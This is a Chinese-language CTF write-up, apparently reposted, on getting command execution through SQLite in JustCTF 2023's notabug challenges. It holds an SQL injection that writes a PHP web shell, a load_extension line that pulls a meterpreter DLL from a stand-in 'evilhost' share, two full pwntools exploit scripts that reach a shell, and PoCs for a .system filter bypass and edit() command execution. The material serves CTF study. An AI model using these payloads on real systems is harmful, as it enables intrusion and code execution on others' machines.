从JustCTF 2023 中学到的一点关于 sqlite3 代码执行的方法

WriteUp 11个月前 admin
373 0 0

周末简单看了下 JustCTF 2023 的题目, 主要是三个题目吸引了我的注意, 分别是 notabug 、notabug2 和Windytooth。 其中前面两个是和 sqlite3 相关的题目。再次和学到一个了一点利用方式。

Known Attacks on SQLite

在BlackHat 2017 长亭科技的 slide 中提到两种众所周知的方法: ^1

Attach Database

1
2
3
?id=bob'; ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn 
(dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<? system($_GET['cmd']); 
?>';--

通过写 ATTACH DATABASE 写文件, 然后执行 php 代码

SELECT load_extension

1
2
?name=123 UNION SELECT 
1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

在能上传文件的情况在, 且加载扩展的功能必须打开 ^2 。在 JustCTF 的 notabug 中也用到这个技巧

title: “exploit for notabug (JustCTF 2023)”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level='debug'
context.arch='amd64'
#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
# p=process('./pwn')
import binascii
p = remote("0.0.0.0",13337)
ru         = lambda a:     p.readuntil(a)
r         = lambda n:        p.read(n)
sla     = lambda a,b:     p.sendlineafter(a,b)
sa         = lambda a,b:     p.sendafter(a,b)
sl        = lambda a:     p.sendline(a)
s         = lambda a:     p.send(a)
sla(b"> ",b"CREATE TABLE images(name TEXT, type TEXT, img BLOB);")
with open("./exp.so",'rb') as f:
    dt = f.read()
sla(b"> ",b"INSERT INTO images(name,type,img)")

dt = binascii.hexlify(dt)
# warning(chr(dt[1]))

print(dt.decode())
# input()

sla(b"> ",f"VALUES('icon','jpeg',cast(x'{dt.decode()}' as text));")
sla(b"> ",b"SELECT writefile('./exp.so',img) FROM images WHERE name='icon';")
# print(hex(int(p.readline())))
sla(b"> ",b"select Load_extension('./exp','exp');")
p.interactive()

learned from JustCTF

那么如果我们不能上传文件的时候如何利用 load_extension ,方法来做命令执行呢?

load libc.so

我们可以通过 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts'); 来执行任意的 glibc 方法,例如这里的思路是

通过 puts 、gets 为预测堆地址,并写入我们的结构,然后爆破堆地址让他在执行 system 的时候,确保是执行我们想要的命令。 exploit 来自 @n132

title:”exploit for notabug2(JustCTF 2023)”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

# p = process("./sqlite3")
#context.log_level='debug'
#p = remote("0.0.0.0",13339)
p = remote('notabug2.nc.jctf.pro', 1337)
ru         = lambda a:     p.readuntil(a)
r         = lambda n:        p.read(n)
sla     = lambda a,b:     p.sendlineafter(a,b)
sa         = lambda a,b:     p.sendafter(a,b)
sl        = lambda a:     p.sendline(a)
s         = lambda a:     p.send(a)



sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');")
ru(": \n")
lic = u64(p.recvn(6).ljust(8,b'\x00'))
warning(hex(lic))
pie_base = lic - 0x1589a0

heap = 0x00005555556b0000-0x0000555555554000+pie_base # 1/0x2000

# system_plt = (pie_base+0x2228C)
system_plt = pie_base + 0x10910
if pie_base > 0x600000000000:
    p.close()
warning(hex(pie_base)) #lic+0x28b8
sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','gets');")
p.sendline(p64(heap+0x11eb0)+b'a'*0x8+p64(pie_base+0x000000000009e0ad))
# raw_input()
dt = b"/bin/sh\0"+flat([0]*8)+ flat([0]*8)+ p64(system_plt)
sla(b"lite> ",f"select cast(x'{dt.hex()}' as text), ".encode()+b"Load_extension('"+p64(system_plt)[:6]+b"','/bin/sh');")
p.sendline(b"echo n132")
# p.interactive()
data = p.read(timeout=1)
if b'n132' in data:
    p.sendline("/jailed/readflag")
    input()
    p.interactive()
else:
    p.close()

.system execute command

Command Line Shell For SQLite 界面中, sqlite 是内置了一些方法的 ^3 ,其中就包括了 .system

1
.system CMD ARGS…	Run CMD ARGS… in a system shell

这是可以直接执行命令的,但是在 JustCTF 中, 程序做了限制

1
2
3
4
# root @ pwnable in /tmp/private [14:10:59]
$ cat run-sqlite.sh
#!/bin/bash
sed -ue '/^\./ { /^\.open/!d; }' | /jailed/sqlite3 -interactive#

这个正则的解释就是:

这个sed脚本的作用是从输入中筛选出特定的行。它使用正则表达式进行匹配。解释一下脚本的含义:

/^./:匹配以.开头的行。
{ /^.open/!d; }:对于匹配到的以.开头的行,如果行不以.open开头,则删除(d)该行。
因此,这个sed命令的作用是删除以.开头但不以.open开头的行。

因此通常而言我们是不能直接执行 .system 命令的,但是如果和 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','getchar'); 配合就可以了, 这是 @crazyman 赛后发现的。 大概是正则多行匹配的问题了

1
2
3
4
select load_extension('/lib/x86_64-linux-gnu/libc-2.31', 'getchar');
 .system /jailed/readflag
Runtime error: error during initialization: 
justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}

sqlite3 edit function execute command

在 sqlite 还有一个名叫 Edit() 的函数 ^4, 该 Edit() 接受一个或两个参数。第一个参数是一个值——通常是一个要编辑的大的多行字符串。第二个参数是对文本编辑器的调用。仔细阅读代码,该方法其实也是可以执行任意命令的

1
2
sqlite3_create_function(p->db, "edit", 2, SQLITE_UTF8, 0,
                            editFunc, 0, 0);

最后调用到 editFunc

1
2
3
4
5
6
7
zCmd = sqlite3_mprintf("%s \"%s\"", zEditor, zTempFile);
if( zCmd==0 ){
  sqlite3_result_error_nomem(context);
  goto edit_func_end;
}
rc = system(zCmd);
sqlite3_free(zCmd);

这是在 discord 看到另外一个队的PoC:

1
2
3
4
5
6
sqlite> .open :memory:
sqlite> CREATE TABLE t(a INT, b VARCHAR(200));
sqlite> insert into t values (0, '');
sqlite> update t set b=edit('','/jailed/readflag') where a=0;
justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}

1 Many-Birds-One-Stone
2 load_extension
3 SQLite3命令行窗口常用命令
4 The edit() SQL function

 

原文始发于SWING:从JustCTF 2023 中学到的一点关于 sqlite3 代码执行的方法

版权声明:admin 发表于 2023年6月6日 上午8:57。
转载请注明:从JustCTF 2023 中学到的一点关于 sqlite3 代码执行的方法 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...